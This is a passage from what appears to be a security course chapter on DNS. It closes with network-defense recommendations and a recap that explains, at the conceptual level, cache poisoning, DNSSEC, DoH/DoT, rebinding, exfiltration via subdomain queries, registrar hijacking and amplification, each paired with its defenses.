  4. Monitor query patterns for exfiltration indicators
  5. Rate-limit queries per source to prevent abuse and amplification

For Your Network (What You Monitor)

  1. Restrict outbound DNS to authorized resolvers only (block port 53 to external IPs)
  2. Monitor for DNS tunneling patterns: high query volume, long labels, high entropy
  3. Use Response Policy Zones (RPZ) to block known malicious domains
  4. Log all DNS queries for forensic analysis (with appropriate retention policies)
  5. Deploy passive DNS monitoring to detect anomalous resolution patterns

What You've Learned

  • DNS resolves domain names through a hierarchical system of root servers, TLD servers, and authoritative name servers, with recursive resolvers doing the heavy lifting and caching results -- all over plaintext UDP with no built-in authentication
  • DNS cache poisoning injects false records into resolver caches by racing the legitimate response; the Kaminsky attack made this devastatingly practical by enabling unlimited independent attempts through random subdomain queries and authority section overrides
  • DNSSEC adds a cryptographic chain of trust from the root zone through DS, DNSKEY, and RRSIG records, proving that DNS responses are authentic -- but it adds operational complexity and new failure modes (expired signatures can make domains unreachable), and does not encrypt queries
  • DNS over HTTPS (DoH) and DNS over TLS (DoT) encrypt DNS queries, preventing ISP and network-level surveillance; DoH is nearly impossible to block because it uses standard HTTPS port 443 and is indistinguishable from web traffic
  • DNS rebinding attacks exploit the gap between domain-based same-origin policy and IP-based network access, allowing an attacker's JavaScript to access internal network services by changing DNS resolution from an external IP to an internal one
  • DNS exfiltration encodes stolen data as subdomain labels in DNS queries, creating a covert channel that passes through nearly all firewalls because DNS is almost universally allowed; detection requires monitoring query entropy, volume, and unique subdomain counts
  • Domain hijacking through registrar compromise is the most devastating DNS attack because it gives the attacker complete control; defend with registrar lock, MFA, registry lock for critical domains, and monitoring
  • DNS amplification abuses open resolvers to reflect and amplify traffic toward DDoS victims; restrict recursion to authorized clients and implement rate limiting
  • Practical DNS defense combines DNSSEC validation, encrypted transport (DoH/DoT), rebinding protection, query monitoring, CAA records, and registrar security -- no single measure is sufficient